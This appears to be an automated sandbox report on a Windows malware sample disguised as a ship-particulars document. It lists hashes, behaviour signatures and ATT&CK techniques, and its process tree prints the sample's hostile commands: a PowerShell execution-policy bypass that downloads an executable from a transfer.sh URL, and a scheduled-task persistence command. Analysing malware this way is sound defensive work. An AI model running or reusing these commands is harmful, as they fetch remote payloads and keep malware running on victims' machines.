1b3a7ad1a4ae68d5b36ff60cbaee121381fb4a7a75dbe9eb0edcb93bcec5cf5a

Analysis

max time kernel
146s
max time network
145s
platform
windows10_x64
resource
win10-en-20211208
submitted
07/01/2022, 14:41

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General

Target
MV.VOSCO UNITY V.0122 - ship particulars.exe
Size 702KB
Sample220107-r2fd2scgcq
SHA256 1b3a7ad1a4ae68d5b36ff60cbaee121381fb4a7a75dbe9eb0edcb93bcec5cf5a
MD5 12b3a8dd0e6d29455b9035807bbeb3f2
SHA1 0067de903763f93ca400f384ef4faa6dc34e2b2a
SHA512 8959b63388e7106461ce0173d27798fba6d95e7f2b18fa7f1b4f2e6909fe2aee4d7140af8f9021498782bf472ab9ced430849e08c483d8dbd218927600a863c5
MD5 SHA1 SHA512

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	1080	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2776 set thread context of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task

T1053

pid	Process
1292	schtasks.exe

Delays execution with timeout.exe 1 IoCs

evasion

pid	Process
3924	timeout.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
1080	powershell.exe
1080	powershell.exe
1080	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe
Token: SeDebugPrivilege	1080	powershell.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2776 wrote to memory of 2212	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	68
PID 2212 wrote to memory of 3340	2212	MV.VOSCO UNITY V.0122 - ship particulars.exe	70
PID 2212 wrote to memory of 3340	2212	MV.VOSCO UNITY V.0122 - ship particulars.exe	70
PID 2776 wrote to memory of 1320	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	72
PID 2776 wrote to memory of 1320	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	72
PID 2776 wrote to memory of 1320	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	72
PID 2776 wrote to memory of 1452	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	73
PID 2776 wrote to memory of 1452	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	73
PID 2776 wrote to memory of 1452	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	73
PID 2776 wrote to memory of 1364	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	74
PID 2776 wrote to memory of 1364	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	74
PID 2776 wrote to memory of 1364	2776	MV.VOSCO UNITY V.0122 - ship particulars.exe	74
PID 1452 wrote to memory of 1292	1452	cmd.exe	79
PID 1452 wrote to memory of 1292	1452	cmd.exe	79
PID 1452 wrote to memory of 1292	1452	cmd.exe	79
PID 3340 wrote to memory of 1880	3340	cmd.exe	80
PID 3340 wrote to memory of 1880	3340	cmd.exe	80
PID 3340 wrote to memory of 1080	3340	cmd.exe	81
PID 3340 wrote to memory of 1080	3340	cmd.exe	81
PID 3340 wrote to memory of 3924	3340	cmd.exe	83
PID 3340 wrote to memory of 3924	3340	cmd.exe	83

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1158

pid	Process
1880	attrib.exe

C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe
"C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe"
1⤵
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2776
- C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe
  "C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\System32\cmd.exe
    "C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\22C6.tmp\22C7.tmp\22C8.bat "C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3340
  - - C:\Windows\system32\attrib.exe
      attrib +h sham
      4⤵
      Views/modifies file attributes
      PID:1880
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -exec bypass "Invoke-WebRequest -OutFile kmshost.exe -Uri https://transfer.sh/NsVIp6/kmshost.exe"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1080
  - - C:\Windows\system32\timeout.exe
      timeout /t 15 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3924
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\rr4dc"
  2⤵
  PID:1320
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe'" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1452
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /create /sc minute /mo 1 /tn "Nanias" /tr "'C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe'" /f
    3⤵
    - Creates scheduled task(s)
    PID:1292
- C:\Windows\SysWOW64\cmd.exe
  "cmd" /c copy "C:\Users\Admin\AppData\Local\Temp\MV.VOSCO UNITY V.0122 - ship particulars.exe" "C:\Users\Admin\AppData\Roaming\rr4dc\rr4dc.exe"
  2⤵
  PID:1364

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Hidden Files and Directories

T1158

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Hidden Files and Directories

T1158

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1080-142-0x000001CD6DB50000-0x000001CD6DB52000-memory.dmp

Download

memory/1080-141-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-159-0x000001CD6EB10000-0x000001CD6F2B6000-memory.dmp

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memory/1080-152-0x000001CD6DB56000-0x000001CD6DB58000-memory.dmp

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memory/1080-146-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-145-0x000001CD6DCE0000-0x000001CD6DD56000-memory.dmp

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memory/1080-168-0x000001CD6DB58000-0x000001CD6DB59000-memory.dmp

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memory/1080-144-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-143-0x000001CD6DB53000-0x000001CD6DB55000-memory.dmp

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memory/1080-140-0x000001CD6DAF0000-0x000001CD6DB12000-memory.dmp

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memory/1080-139-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-138-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-137-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-169-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/1080-136-0x000001CD6D6F0000-0x000001CD6D6F2000-memory.dmp

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memory/2212-127-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/2212-125-0x0000000000400000-0x0000000000419000-memory.dmp

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memory/2776-118-0x0000000000080000-0x0000000000134000-memory.dmp

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memory/2776-124-0x0000000002CC0000-0x0000000002CC1000-memory.dmp

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memory/2776-123-0x0000000005610000-0x000000000561A000-memory.dmp

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memory/2776-122-0x0000000005340000-0x00000000053D2000-memory.dmp

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memory/2776-121-0x00000000057A0000-0x0000000005C9E000-memory.dmp

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memory/2776-120-0x00000000051F0000-0x0000000005256000-memory.dmp

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memory/2776-119-0x0000000000080000-0x0000000000134000-memory.dmp

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